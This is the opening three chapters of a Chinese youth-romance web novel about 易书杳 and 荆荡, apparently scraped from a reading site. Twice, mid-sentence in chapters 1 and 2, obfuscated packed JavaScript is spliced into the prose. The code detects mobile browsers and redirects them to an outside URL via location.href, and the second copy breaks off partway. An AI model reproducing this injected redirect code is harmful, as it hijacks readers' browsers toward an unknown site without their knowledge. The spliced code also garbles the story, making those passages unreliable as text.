《夏末游来一尾鱼》 1. 金色小鱼消失不见 1. 天色漆浓,大雨滂沱。 狭窄冗长的巷子里凋零一地桂花,碎成短暂细微的金黄。 易书杳撑把伞,宽大的黑白校服套在她身,雨模糊五官,琥珀色眼珠清亮得几近透明。 浅棕小皮鞋不知深浅地踩上枯叶,惊动深秋。 走到巷口的拐角处,风吹过,天光乍泄。 对面走来几个人,烟雾缭绕,缠在他们的面容。 刺鼻的烟味在空气里传开,酿造漩涡。绯色的猩红勾勒在漆黑里,如一把火,点燃那些不怀好意的笑。 易书杳敛了眉,屏住呼吸路过。 倏然,书包的肩带被一个男生抓住:“以前要不是荆荡护着你,你他妈能有这么好过?” 易书杳难得生气,冷冷地凶人:“松手。” 可惜这张脸太温吞柔软,十六岁小姑娘凶人的时候毫无威慑力,反而让人起了破坏欲。 男生的手没松,扯住她的书包,将她往身上带:“松手?好啊!” 易书杳力气小,却也拼命挣扎着,竟惹得男生扬起手:“你他妈还以为荆荡疼你呢?别做梦了!他早玩腻你了!” 易书杳踉跄地退后两步,没让巴掌落到脸上,知晓如今她势单力薄,手机没有带在身上,留在这只能吃亏,咬牙往巷口的方向跑去。 雨犹如实体,斜着扎在脸上生疼。 男生很快反应过来。 身后追来的脚步声重重,犹如鬼魅。 易书杳跑了很久,双手撑在双膝大口喘气,还没休息几秒,背后传来一道男声:“我真操了,易书杳,你还敢跑,被老子抓到——” 易书杳微侧过头,男生就在她几步后的位置。 她心脏刹那间一跳,往巷口跑去。 而男生已经朝她跑了过来,直线距离不断缩短。 不敢再想今晚会发生什么,易书杳无望地闭了下眼。 再睁开时,她突然在巷子尽头看见了荆荡。 天气恶劣,路灯昏暗,拉长所有人的身影。而在这些人的身影中,他特立独行地低掀冷睫,恶劣不堪,又似座保护神,决然屹立。 男生身形高而阔,影子扎在潮湿地面,桂花点缀其间。黑色卫衣散漫套在上身,在肩膀两侧压出劲挺线条。碎发随意地扫过额前的漆眉,鼻尖挺直,唇薄,颜色却浓,是那种红,沿着好看的唇延展开来。 他气质太具有攻击性,淡化少年身上独有的气息,整个人更显得刚硬嶙峋。 空气中参杂独属荆荡的气息。 冷而不淡,像野迷迭,带着浑然天成的侵略性。 只是途径都觉锋利尖锐,像高山石,任春风冬雪,冷硬依旧。 此刻,易书杳想牵他的手。不过已然没有了牵手的理由。 她鼻尖一酸,伸手抹开冒出的泪,狼狈不堪地偏过头。 易书杳被迫路过了他,往黑暗里跑去。 没有想到的是。 她被一只大手拉住,不容置喙的嗓音侵袭至耳边,浓郁的清晰,磁沉沉的,偏偏又带着一种天生的不屑和顽劣感:“我在这,你跑去哪?” 易书杳还没反应过来,就被他拉到了身边。 那几个男生随后跑过来,见到荆荡还像从前那样护着易书杳,吓得说不清楚话:“荆荡……你这些天不是没管易书杳了吗?怎么还——” 荆荡淡薄又深邃的眼皮低睨,轻扯唇角,意味不明:“你们挺有本事。” 几个人冷汗打湿后背,想解释又怕彻底惹了这位脾气顶差的少爷,哆嗦了一阵没敢出声,之前那个欺负易书杳最厉害的男生腿软地跪下,抽了自己几巴掌:“对不起,我错了。” 荆荡弯腰,蓦然抓住男生的衣领:“这就完了?” 他手指修长,爆出几根性感的青筋,眼边有颗淡色的小痣,乌发垂在眼颊两侧,经灯光照射,透着股灼热的凶意。 男生脖子被勒住,呼吸骤然一紧:“荆荡,你要干什么。” 荆荡没说话,整个人笼罩着戾气,手上用的力气越来越大,青筋爆了一手。 男生被掐得呼吸不畅,脸色涨红,断断续续地说话:“对不起,易书杳,小杳妹妹,以后再也——” 易书杳害怕荆荡为她犯错,拽了下他的卫衣一角:“算了。” 荆荡没听她的话,继续用力掐着男生。男生脖颈的颜色变得乌青,很吓人,似乎下一秒呼吸就要断掉。 易书杳白着脸,提高的音量泛着脆弱的哭腔:“荆荡,够了。” 荆荡看见她泛红的眼眶,滚了滚喉结,终是松了手。 那几个人逃命似的跑了。 雨依旧大,砸在地上贯穿耳膜。 易书杳和荆荡站在大雨里对视,雨雾模糊得互相看不清楚对方的脸。 易书杳抹掉眼泪,吸了下鼻子:“你不是说不管我了吗?” “我还能真不管你?”荆荡眼睛漆黑冷感,声音穿过碎雨,一字一顿扎进她心脏,“反倒是你,易书杳,这辈子,你就别想扔下我,懂么?” 易书杳眼泪像断了线的白色珍珠,泪流满面地说了声好。 …… “书杳姐,醒醒,醒醒——” 易书杳睁眼,十分茫然。 “您睡着了怎么还哭了呀?”社里新来的编辑西瓜手忙脚乱从口袋拿出纸巾,“快擦擦,是感冒了吗?” 易书杳是社里的前辈,毕业两年就策划出了爆款书籍,西瓜对她很是尊敬。 今天是大神作者的新书签售会,易书杳作为一手将这位作者提拔起来的编辑,会在签售会上发言。现在是午饭时间,离新书签售会还有两个小时。 “喔,没事,谢谢你啊西瓜。”易书杳接过纸巾擦了下眼睛,才发现眼泪糊了满脸。 西瓜担忧道:“是不是感冒了呀?” 易书杳摇了摇头,嘴角苦涩地弯了弯:“没事,你先去吃饭吧。” 她没有感冒,也没有生病。 只不过,在与荆荡分离的第六年,再一次梦见了以前那个爱她如命的少年。 “我待会还得对下发言稿呢。”西瓜苦着脸。 “我待会帮你对,你先去吃饭,今天活动太忙,你别饿肚子。” 西瓜心里一阵感动。 易书杳是她见过对新人最好的编辑,明明在社里话语权很大却也没有任何架子,教她时还很耐心和专业,就像春日一样明媚美好。 “好,谢谢书杳姐。”西瓜转身,一步三回头地走了。 易书杳擦干净眼泪,今天天气不好,厅外下着暴雨,潮湿的水汽残存在她的眼角。 梦里的场景以前真实发生过,依稀在眼前放映。 很久很久以前,在她被欺负时,荆荡的确会寸步不离地保护她。冷拽纨绔的天之骄子,也会用力地攥紧她的手,紧盯她的双眼,高高在上又低劣地说,你别扔下我。 可是,光阴沉浮,十七岁就似一场泡沫。 她和他紧牵的双手抵抗不过交加的风雪,绯红的眼眶困在那个永远磨灭不了的夏天,爱亦遗失在思念的每一个瞬间。 易书杳闭上眼,再次擦掉从眼角流出的泪。 两分钟后,她神色如常,抱着稿子去了签售会的展厅。 签售会开始前的一刻钟,大神作者冰酿圆子进了展厅:“小杳编编!我来啦!” 易书杳弯了弯唇角:“来啦,路上堵不堵呀?” “可堵了,”冰酿圆子说,“隔壁展厅等会好像有大人物要来,关注的人特别多,难怪活动主办方只分给我这么个小展厅呢。” 易书杳安抚性质地玩笑:“什么大人物能大得过我们大神作者冰酿圆子呀?” “上市科技公司的大总裁呢,听说长得特别帅,今天开新产品的介绍会,大佬云集,我一个小小作者算什么呀,”冰酿圆子眨了眨眼,“也不知道是不是真的很帅,我待会结束签售会就去瞅两眼。” “帅,真的特别帅,比娱乐圈那些明星还帅,”西瓜不知道从哪冒出来,“刚刚那位总裁被保镖簇拥着进来,我偷偷去扫了一眼,哇塞,惊呆我了。不过就是看上去特别冷,特别拽,生人勿近的感觉。” 西瓜和冰酿圆子你一句我一句地热聊起来。 易书杳不怎么感兴趣,积极认真地准备着签售会的各项事宜。 两点,签售会正式开始。 易书杳和冰酿圆子分坐桌子两侧,一人拿出特制的印章盖在书的扉页,一人拿柔绘笔唰唰唰地签字。 这一签就是三个小时,五点准,她们迎来了最后一位读者。 令人意料不到的是,这个女孩在冰酿圆子签了名之后将书递给了易书杳:“小杳姐姐,我特别喜欢你做的书,你也帮我签个名吧。” 易书杳感到意外,编辑是幕后工作者,从不像作者那样光芒万丈。 冰酿圆子没感到意外,笑眯眯地看着她。 签售会展厅不大,天气阴潮,空气也跟着闷,每个角落好似都是黯淡。 易书杳坐在摆满书籍的桌前,穿着一套白色的套装裙,露出精致的藕白脖颈。 她初恋感浓郁,睫毛卷而翘,拉长的眼线增添独特的魅惑感,橘色调的口红又削弱几分妩媚感,似泉水染过的清甜樱花叶,将漂亮软妹四个字体现得淋漓尽致。勾人而不自知。 冰酿圆子一直觉得,易书杳是她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042244|162586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女神,兼具高强的专业能力和分外迷人的外表。 易书杳惊喜地在扉页的角落,小心翼翼签上了名字。 至此,签售会完美结束,她结束了今日份的工作。 冰酿圆子收拾好后背上包,冲易书杳笑:“编编,你陪我去看看隔壁展厅的总裁大人吧。” 易书杳性格柔软,弯唇道:“好啦,陪你去,稿子记得早点交哦。” “哎呀,别提工作!”冰酿圆子拉住易书杳的胳膊,“快走,等下那边都要结束了。” 易书杳跟着她一块往隔壁展厅走,止不住地提醒:“你得早点交稿子,我才能尽早报选题下书号呀,最好书能明年上市,我已经在给你物色神级的画手啦。” 两人就这么说了一路,很快走到隔壁展厅的门外。 可惜这里人潮拥挤,压根进不去,只能远远地模糊看到那位受尽追捧的男人站在宽敞高级的台面,他的脸和大半个身形被人堵住,身形高大挺拔,穿着滑料的黑色西装,隔着这么远都能感受到离经叛道的气场,一只骨感利落的大手微微弯曲,显得不羁和任诞。 空气变得潮湿而迷离,易书杳喉咙像被人扼住,有些呼吸不上来。 仿佛是感召,又仿佛是太想念谁的错觉。 她熟练地从口袋拿出几粒随身带的药丸,面不改色地咽下。 耳边传来冰酿圆子兴奋的声音:“我好像看到他了!好高,帅得好惊人!我靠啊啊啊,帅爆了!” “安保人员都不管的吗?”易书杳说。 “有人去叫安保了,但是还没到,”一个女生插嘴道,“大家都是来看荆荡的,他十八岁就因为长得帅在贴吧上火了很久,出国后建立述驲科技,现在回国身价超千百亿了,今天有博主发了他的照片,那条博文现在已经上热搜了,连明星的热度都没他高。” “什么?”易书杳的耳朵在这刹那失鸣,心跳声怦怦,“谁?” “荆荡呀,”那个女生道,“呀!仪式结束了,他朝我们这边的方向走过来了!” 有保安来维持秩序,人群却在这瞬间变得拥挤不堪。 易书杳艰难地抬起头,展厅偌大,冷白的灯光重重阴影。 男人被簇拥着出来,眉骨比年少时期更加冷硬,像攒着经久不融的浓雪。他低着头摆弄手机,五官出落得更成熟劲帅,薄唇咬着根没点燃的烟,耀眼如初。 易书杳曾在梦里一次次描绘过荆荡长大的模样,如今看到了,她觉得陌生而遥远。 可是,这个人曾为了哄她,在他的手腕的虎口旁纹过一条金色小鱼,在她心疼地扯着他的袖子问他疼不疼呀的时候,还扯唇对她说:“易书杳,替你疼过了,以后想看小鱼就来见我。” 易书杳怎么也没想到,若干年后,他和她会这样生疏。 或许不止是生疏吧,他应该是恨她的。 当初,是她主动跟他说分开,六年前的那天,他第一次当着她的面咬上烟,突起的喉结随之滚动,整个人带着侵略性,笑得张扬又混吝:“行,你有多远滚多远。” 自此,整整六年,他们没再见过。 如今再见,他朝着她的方向而来,却没再看她一眼。 易书杳心涩难止,吃了药也没压下这份要命的疼痛感。 随着荆荡走过来的身影,易书杳身边的人增多。她忍住鼻尖的酸意,往旁边退避了几步。 可不知什么时候,一道高挺的身影笼罩住她,与她擦着肩膀,空气里挥洒一股薄荷和乌木的深刻味道。 易书杳看见男人骨节清晰的手指,心脏重重地漏了一拍。 他……是认出她了吗? 易书杳喉咙干涩,然后一道低磁,冷淡,压着颗粒般荷尔蒙的声音像利刃一样传来:“让一下,谢谢。” 她的心脏被人刺了道长痕,耳朵发麻,刹那间,什么也听不见,只能下意识地让开,还没抬起头,荆荡就已经从面前走过,留下一些很淡的气息。 易书杳顺着视线往下,扫他手腕,只一眼,心如死灰。 现在金鱼纹身也没了。 她鼻尖一酸,知道他又像以前那样高不可攀,她和他再没有可能。 原来,他不恨她,而是已经忘记了她。 易书杳想哭,委屈,又觉得自己分外难堪和罪有应得。 鼻腔传来酸涩的共鸣,她忍住掉眼泪的生理反应,仰起头,望着天花板,拼命地眨眼泪,试图将眼泪逼回去。 直到这一刻,她才明白—— 人生的洪流裹挟着所有人前进,没有人会留在十七岁那年的夏,荆荡不会留在那里,从此以后,她再也不能频频回头。 易书杳忍不住流泪。 2. 我们初见的那一天 2. 时间倒回到二零一七年的夏,易书杳离开生活十六年的港桂巷,被一架飞机送到陌生的滨海城市。 下飞机时,阳光热烈,枝繁叶茂,命运翻开新的一页。 她低垂着头,坐在汽车上踌躇不安。 司机陈叔从后视镜里打量这位刚从乡下接来的女孩。 少女穿白桃色的长裙,露出一截细长的胳膊和清瘦的腿。脸比常人小,五官精致温和,圆柔的杏眼似玻璃球清澈。头发略松地绑了起来,饱满的丸子头沾着金灿灿的日光,乖巧而漂亮。 “杳杳?”陈叔笑眯眯地开口,“家里还有个比你小两岁的妹妹,你可以和她做朋友。” 易书杳清楚这位妹妹,自妈妈许之华去世后,易振秦再娶了一位续弦,名叫秦思仪。秦思仪嫁进易家没多久就生了个女儿,只比她小两岁。 “好。”易书杳声线柔润中带着一贯的温软。 陈叔道:“荆家的老太太今天七十大寿,易总说直接把你接去荆家,结束后一道回家。” 易书杳嘴唇张合,语调疑惑:“荆家?” 陈叔笑着点头,表情恭敬,言简意赅:“易总最近在结识荆家。” 荆家在滨海市无人不知,每天数不清的人跃跃欲试地攀附。 一小时后,汽车穿过城市的繁华街道,抵达一处奢华低调的宅院。 易书杳跟着陈叔下车,见到了挽着秦思仪和女儿易珍如的易振秦。 易振秦见到易书杳,一愣,差点都没认出这个十多年没见的女儿。 易书杳早料到这种场景,心底却还是有些难过,努力才挤出一个笑:“爸爸。” 易振秦走到易书杳面前,想了半晌开口道:“你外婆走的时候还算安稳吧?” 提及伤心事,易书杳颤了颤乌密的睫毛,低声说:“嗯,外婆走的时候是个晴天。” 易振秦眼眶有点红了:“以后还有爸爸,爸爸能把你养得很好。” 易书杳想问那前十六年为什么不养她呢,但问了没意义。如果不是外婆临走前一定要她来找易振秦,易书杳不会来这里。 什么大城市,什么优越的环境,她都不在乎。她只在乎妈妈和外婆。可是她们都相继离开了,从此以后,易书杳的晴天也下雨。 易振秦看了眼易书杳:“荆老太太在厅里,杳杳,走吧。” 易书杳嗯了声,随后手心被男人牵住。 她手心发热,第一次感受到被爸爸牵住的滋味,有些不适,却又像流浪的小猫在无家可归后重新感受到一丝温暖,不舍得放开。 易珍如不开心了,一把拉过易振秦:“爸!我想去荆家那块人工种植的大草坪放风筝。” “你别闹,你爸有正事,”秦思仪训斥,看向易振秦,“你也是,接了个新女儿来就忘记了如如。” 易振秦呵呵笑两声,连忙拉起易珍如的手:“我哪能忘记我的宝贝女儿啊。走,一起去见见荆老太太,她孙子跟你还是同校。” 易珍如笑了笑:“我知道,荆荡在我们学校很有名气,人气很高,很多女孩都喜欢他。” “长得挺帅吧?”秦思仪低头笑,“荆老太太就这么一个独孙,肯定宠得厉害。” “帅,我们学校女生选出来的校草呢,就是脾气太差了,特冷拽,不过就算这样,他人气还是特别高,在别的学校都很出名。”易珍如说。 “脾气差点也正常,以后荆家的产业都是他的,名副其实的大少爷。”易振秦刮了刮易珍如的鼻子,易珍如觉得有点疼,父女俩闹起来,将一旁的易书杳挤开了。 易书杳险些撞到了大理石的明亮桌角。 风有些热,她沉默地揉了揉手心,听着他们刺耳的欢笑声,闷闷的透不过气。 到了大厅内,“啪”的一声,一个玻璃杯摔在地上,霎时间四分五裂。 荆家老太太气得发抖:“今天我生日,他去打什么球?家里不是有篮球场?” “妈,你消消气,”一个珠光宝气的中年女人拍着老太太的肩,“我等下就要他回来。” “你儿子从小就这么混球,你哪一回劝动他了?我看家里就没人治得住他!”老太太没好气道。 “……”女人一时语塞,没说话。 老太太见厅里来了几个人,也没再说话,气得偏了偏头,正不知如何是好时,看见厅里的角落,站了个眉眼柔软生动的小姑娘。 她好看得毋庸置疑,眼睛很亮,明润得像波光粼粼的湖水。皮肤冷白细腻,在阳光下吹弹可破,好似一枝清新晶莹的粉蔷薇,让人忍不住去保护,也舍不得去拒绝。 老太太不走寻常路,指了指她:“这是谁家的?” 被点名的易书杳一愣,上了前。 老太太笑眯眯地说:“我有个孙子,叫荆荡,他现在在篮球场,不远,你去叫他回来,好不好?” 易书杳性子软,不太会拒绝人,更何况,一旁的易振秦笑着捏了捏她的手,要她答应的意思很明显。 易书杳便慢吞吞地点了头,在老太太赞许的目光中,拿手机导航去了西区的篮球场。 外头的空气清新,花草动人。 天已经黑了,日暮四合,路灯点亮一片昏黄,像柠檬连成了串。 “叮”的一声,易书杳的手机收到一张照片。 照片里的男生皮肤冷白,五官很帅,酷劲逼人。 隔着照片,她都感受到男生那双峻冷眼睛的侵略性。像一匹恶劣凶猛的兽,凶得吃人不吐骨头。 她不自觉胆战心惊,摁灭手机,呼了一口气。 随后易书杳在盛夏的风间抬头,黄色光线穿过绿意盎然的南天竹,露天的篮球场里,一群男生正在打球,她一眼就看见了那个叫荆荡的人。 他站在光下很瞩目。 个子一米八五往上,穿着件纯黑的T恤,劲瘦的肩胛骨略微地突起,燥热的风将乌浓的发吹得随意耷拉在轻薄的眼皮。手里拿着篮球,冷又拽的轻狂傲慢,和照片没什么两样。 一局球结束,他赢了。 拿水的女生躁动,互相推搡着,却又都不敢上前。 是了,没人敢凑近他。 冷拽顽劣的天之骄子,谁敢靠近。更何况,荆荡今天看上去心情很差。 或许……不只是看上去,而是真的,荆荡今天的心情很差。 许之淮就明显感受到了,他递瓶水给荆荡:“怎么了,今天打这么凶?” 荆荡接过水,大手轻拧瓶盖,嗓音低低的,泛着青柠的薄荷冷感,有点劣:“凶么?我怎么没觉得。” “靠,你问问他们,”许之淮扫一眼打球的其他人,“你打得我手都要断了。” 荆荡懒得理,他的差心情都写在脸上,仰起头,滚着喉结将矿泉水喝了一半,蹙着眉拧好瓶盖:“走了。” “今天就这么散了?”许之淮问,“你那么多迷妹都还等着看你打球呢,她们在烈日炎炎下跑过来,你就这么走了多可惜。” 荆荡睨一眼篮球场外围着的女生们,心里更烦了:“我叫她们来的?” 许之淮为这些女孩们默哀,全校没人不知道荆荡脾气差,偏偏他的恶劣也不藏着。所有人都知道他坏,从各方面来说都不是什么好人。 但坏男生的魅力就像点燃的一根烟,压根不缺前仆后继的女生。 荆荡不以此为荣,他只嫌烦。 “叫她们散了吧。”许之淮知道荆荡在烦什么,扭头跟一个男生说了句。那个男生就跑去跟那些女生说了句话,没两分钟,女生们就垂头丧气地走了。打球的男生们要去KTV续场子,没多久就都走了,许之淮走之前拍了拍荆荡的肩:“职校那帮孙子要是来找你麻烦,你给我们打电话。” 荆荡:“我一个人够了。” 许之淮:“打架记处分不好。” “不差这一个。” 许之淮气笑了,拿着外套跟上大部队走了。 刹那间篮球场就没什么人,变得空空荡荡。 荆荡从口袋里拿支烟出来放嘴角咬着,还没点燃,眼睑垂下看着被打爆的手机。 电话和微信都来自家里人,老太太的最多。 荆荡直接摁灭手机。 就是这一瞬,身后传来一道女孩子的声音,挺娇的,磨得他耳朵莫名泛痒:“荆荡……?” 荆荡抬手摸了下耳廓,下一秒,听见她温吞柔和的嗓音,像软糯的炒栗子,继续勾扯他耳膜:“你奶奶今天生日,叫你回家。” 可惜这话不是他爱听的。 “咔哒—”的一声,打火机被灭。 烟没有点燃,荆荡的火气倒被迅速地点燃了。 夏季的风呼啸,篮球场就她跟他。 易书杳心脏跳动了下,看见荆荡回了头。 少年逆着篮球场的光,低撩凌厉眼皮睨她:“你很闲?老子用你管?” 这语气好凶。 易书杳从没被人这么凶过,也没见过脾气这么差的人。 她的心脏吓得漏了一拍,今天所有的坏情绪累积起来,用力掐着尾指:“是你奶奶叫我来找你的,你想不想回去都可以的呀,我不会管你的。” 荆荡瞥见她慢吞吞红了的眼眶,有种拳头打到棉花上的异样感觉,不耐烦道:“你他妈瞎哭什么?” 易书杳觉得控制不好情绪有些丢人,想生气却又是一贯的好脾气,难堪地低眉顺眼,有种脆弱的可爱感:“你是不是很闲呢?我不用你管。” 同一句话,两人说出来是截然不同的意味。 荆荡冷硬得像猎豹,易书杳软柔得像小兔子,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“荆荡!这小姑娘跟你什么关系?”一个染着绿毛的男生笑嘻嘻地抓着易书杳的手朝荆荡走来,“挺漂亮一妞啊,你的?” “放手!”易书杳挣扎个没完,好不容易走到明亮的地方了,她抬脚就是一踩,踩中了绿毛的脚。 绿毛痛得直呼,松开了易书杳的手。 易书杳一个踉跄努力站稳了,看着倒在地上的男生们,和嘴角流血的荆荡,吓住了。 她当了十六年的乖学生,没见过这种不要命的斗殴场面。 “操,还敢踩我,”绿毛抓住易书杳的裙摆,作势要撕开了,“还挺不听话。” 易书杳还挺灵活地避开了,往后跑了几步。 绿毛骂骂咧咧地去追她。 “嘭”的一声,红毛被荆荡的手肘击中腹部,他疼得狂喊绿毛,“你他妈追她干吗,没见我还被人揍啊?” “哦哦。”绿毛不得已放过易书杳,跑到荆荡这来了。 易书杳松了一口气的下一秒,被地上倒着的一个男生拉住手,扯她到了地上。那男生扯着易书杳,对荆荡喊:“你要不放开我老大,我揍她了!” 荆荡一手压着红毛,一只脚踩着绿毛,抬起头:“哦?” 他想说他跟她不熟,揍死她,他也不在乎,却在看见她红着眼,白色裙子被扯得露出肩带时,不知为何,没有说出那句话。 易书杳第一次感受到男生的力量原来这么强大,可她也不弱。 咬住唇角,她手揣进口袋,拿出里面的刀片。离乡的那一刻,她就带着防身的东西了。 易书杳战战兢兢地拿出刀片,汗流浃背,正当她准备握住刀片时,前方传来荆荡的嗓音,很随意地一句询问,语调懒散地像随时会收回,却在此刻于她而言无疑是救命稻草:“你现在用我管么?” 易书杳想起她之前对他说过的话:“你是不是很闲呢,我用你管呀?” 她心脏怦怦,抬起头看向他。 荆荡的嘴角还流着血,冷白的皮肤和鲜红的血形成反差。可他还是一副漫不经心的模样,好像胜券在握,游刃有余。 易书杳感觉他的存在很让人心安,也许是没有办法,也许是想试一次,她鼓起勇气,对上他的眼,语调颤抖:“用你管。” 然后,她就看见荆荡不耐烦地踹开绿毛:“现在知道用我管了?” 易书杳的心脏回落到原地。 哦,他刚才是逗她的吧。他怎么可能会管她。 他那么恶劣,那么凶的一个人,高高在上得让人不适。 可是,这到底是意义非凡的一晚。 紧接着,前方传来少年慵懒,却又矜淡深刻的嗓音:“那你过来,我管你。” 易书杳不会知道,他那么坏的一个人,从这刻开始,成为了她往后人生里仅此一次的赎救。 3. 漂亮得青涩又直观 3. 很久以后,易书杳都记得这晚暴躁的热风。她就站在边上,看着荆荡毫不费力地打架。说是打架其实也不尽然,顶多算他单方面压制所有人。 几乎没有持续太久,那些染着各色头发的男生便消失不见,篮球场很快又只剩下她跟他。 荆荡站在昏黄的路灯下,深邃的侧脸轮廓分明而硬朗,嘴角破了皮,他随手摸了下,没当成一回事。 性格使然,易书杳去药店买了碘酒和药,等她回来时,荆荡坐在台阶上,微微低着头,挺立的鼻尖拓上点阴影,像漫画里的场景。 荆荡摆弄完手机,听见点脚步声,抬起头,看见小姑娘身形很瘦,套着白桃色的长裙,站在风里有种病弱的美感,不知为何,有些让人产生欺负的破坏欲。 他从口袋拿根烟出来咬上,消磨喉咙里未知的燥感。 “你受伤了,”对上那双冷淡冰硬的眼,易书杳就打怵,她把袋子递过去,紧张道,“涂一下吧。” 荆荡没接,咬着烟起身:“留着自己下次被人揍的时候涂。” “……”易书杳想嘟囔一句‘她为什么会被揍啊,像他这种嘴欠的人才容易被揍吧?’但又不敢,还是维持着递给袋子的动作,小声又真诚地劝说,“你还是涂一下比较好,等下伤口感染了会挺严重的。” 荆荡的耐心就到这了,他转身走掉。 篮球场只剩下易书杳一人,风似乎变得冷了,吹在脸上凉凉的。 她看着他披着夜色走出视线,轻轻地吐了口气。 这个人,还真是捉摸不透啊。 * 那晚荆荡还是没回家,老太太见易书杳孤身回来,也没多说什么。 夏末气温仍是居高不下,暴露在空气的水分子都是热的。 开学这天,易书杳和易珍如一块坐车去学校。 抵达学校后,秦思仪帮易珍如报道。 易书杳独自去了班级,领了校服和弄完一切事宜后,随意选了个靠窗的位置坐下。 七点一刻,高中的第一节晚自习铃声打响。 教室开着空调,凉气袭人。窗外的大片晚霞烙在玻璃,反射在每一张陌生的脸上。 易书杳低头沉默地翻语文书,她没说话,就聚集了许多人目光。 毕竟,她太好看了。眉眼间写满初恋感而不幼态,瞳孔乌亮,眼角是有棱角的,又增添几分没有攻击性的简单倔强感,乖巧而柔软,少女漂亮得青涩又直观。 很快,论坛里关于她的帖子就多了起来。 不知道什么时候,易书杳旁边的空位坐进了个人。一个嚼着槟榔的男生,吹了下流氓口哨,凑她近了些:“哎,你是单身吗?” “……”易书杳抓紧书脊,敛眉道:“你有事吗?” “没事,交个朋友啊,看你挺好看的,”男生抽过她手里的语文书,“我跟你坐同桌怎么样?” * 明明是上课时间,夜晚的附中篮球场却算得上热闹。 许之淮把球扔给荆荡,荆荡站在三分线外,绷紧的长腿轻松一跃,完美投进。 “靠,学弟,队里的也打不过你。”高三学长甩给荆荡一瓶水,“你练过啊?” “练过。”荆荡擦掉头发上的汗,懒洋洋地接过水。 “什么时候?” “幼儿园?”他歪头笑了下。 “草。”一群男生被这话逗笑,乐得不行。 “牛逼啊,高一有个女生美得上了论坛的帖子,我倒要看看有多好看,”高三学长拿出手机,瞥了眼,吸口气,“确实还可以,但我不喜欢这种类型。” 许之淮:“什么类型的?” “这妹妹看着就清纯,估计是挺乖一学生妹。” 许之淮笑:“真清纯假清纯?上次你觉得清纯的,亲都不知道跟我兄弟亲过多少次。” “这个是真清纯啊,不信你看。”高三学长把手机递给许之淮,又想到他吃不了细糠,把手机递给荆荡,“你看看。” 荆荡没看,许之淮一把抢过手机:“我看看。”他随手翻着帖子,“操,我班的啊。是挺好看,软妹啊。” 听到这个描述,荆荡脑子里闪过月余前夜晚的那个人。 也是看起来很软,胆子小得不行,随便说两句就要掉眼泪,哭哭啼啼的烦死人。 “跟我们一个班的啊,”许之淮看着手机里的帖子,“不过挺惨的,周行看她漂亮坐她旁边去了,估计会欺负她。” 周行是大家都看不上眼的富二代,家里明明没几个钱,却各种撩拨女生。 许之淮和荆荡虽然都坏,但也干不出这种事。前者是不屑,后者是眼里压根就没有过女生。 “要不要回班里看看?”许之淮问,“假如这妹妹真被欺负了呢?” 荆荡嫌麻烦,锋眉微蹙:“这种破事你也要管?” “漂亮小姑娘被欺负谁都看不下去,”许之淮说,“你是不知道周行有多恶心,上次他看上个女生,那女生不喜欢他,他直接强吻啊我操。” 荆荡骨感的五指抓着球后退,扔给高三学长:“继续。” 许之淮知道说动荆荡的可能性微乎其微,但他可能今晚圣母心发作得厉害,把手机强硬递给荆荡看。原本没抱着什么希望,可荆荡不经意睨见手机上那张照片,竟又侧头看了眼灯火通明的教学楼,黑曜石般的清亮瞳孔微乎其微地闪烁了下。 是她? 喉结一滚,荆荡停顿了几秒,莫名其妙产生了想回去看看的念头,倏尔又觉得自己有病,把球扔给高三学长:“要回你回,我跟他们接着打。” 许之淮也算个天之骄子,长得好,会打架,女朋友没断过,但他习惯了跟在荆荡身后,毕竟荆荡这种人,天生就是掌控者,很容易让别人臣服。见荆荡不回,他也不回了,抢过篮球跳起来投篮:“一块打啊,扔下我干吗。” 打起球来时间唰拉过得很快,一局结束,荆荡却意外觉得时间过得挺慢。 篮球场太热,他没多久就回了教室。 * 易书杳本来心情还可以,直到同桌成了个一直嚼槟榔的男生。 这人之后也没什么过分的举动,她就自动忽视了。但难闻的气味一直缠绕在鼻尖,她蹙着细弯的眉毛,很不舒服。 倏然,紧闭的教室门打开,两个高大的男生进来,前面那个更高的男生身上带来一股冷调的琥珀海盐味道,不浓郁,淡淡的,勾进心里。 易书杳抬头看去,望见了一张冷感矜贵的脸。 是……荆荡? 她眨了下眼睛,手心不自觉发热。 “哎,你觉得这个女的像你吗?”周行把手机给易书杳看,手挡住了些范围,只露出女生的脸。 易书杳收回看荆荡的视线,低头看向周行的手机,不想搭理地摇头道:“不像吧。” “你怎么回事啊?”周行怒了努嘴,“这女的就是你吧,你玩得挺花啊。” 易书杳不知道他在说什么,这视频上的女生跟她一点也不像,她扫了眼教室的空座位,想换个位置。 可是现在很晚,教室的人差不多来齐,班上只剩一个座位。 而那个座位旁边挨着的,是刚进教室的荆荡。 如果她要换位置,只能坐到他旁边。 易书杳想了想,还是否决掉这个想法。毕竟,荆荡比这个男生更不好惹吧。 随后的一周,班主任还没来得及换位置。易书杳就这么跟周行坐着,周行上课总是找她说话,还总是问她一些莫名其妙的问题。 易书杳不堪其扰,整个人都快被逼疯。 爆发的临界点,是这天的晚自习。 外边下了雨,空气湿漉漉。 易书杳昨晚吹了风,头昏昏沉沉,趴在桌上睡觉。 半梦半醒之间,她睁眼,看见周行弯着腰低头凑得很近,手抓着她的校服拉链。 易书杳吓了一跳,没忍住喊了声:“你干吗呀。” 当时是安静无声的自习,哪怕她声音很柔,也让全班人听见。 周行立即就松了她拉链,作势捡起地上的笔,理直气壮道:“我干吗了,捡笔你也要管?” 易书杳望着周行,气势没输给他:“捡笔要离我这么近吗?” “你他妈是不是想多了,你还真以为你长得还行,全世界就都喜欢你啊。”周行耍无赖,语气懒洋洋的。 易书杳知道自己说不过他,有这点时间还不如告诉老师换座位,于是咬着唇起身,喉咙干涩地出了教室,意外碰上刚打完球回来的荆荡。 两人视线在门口倏地交汇。 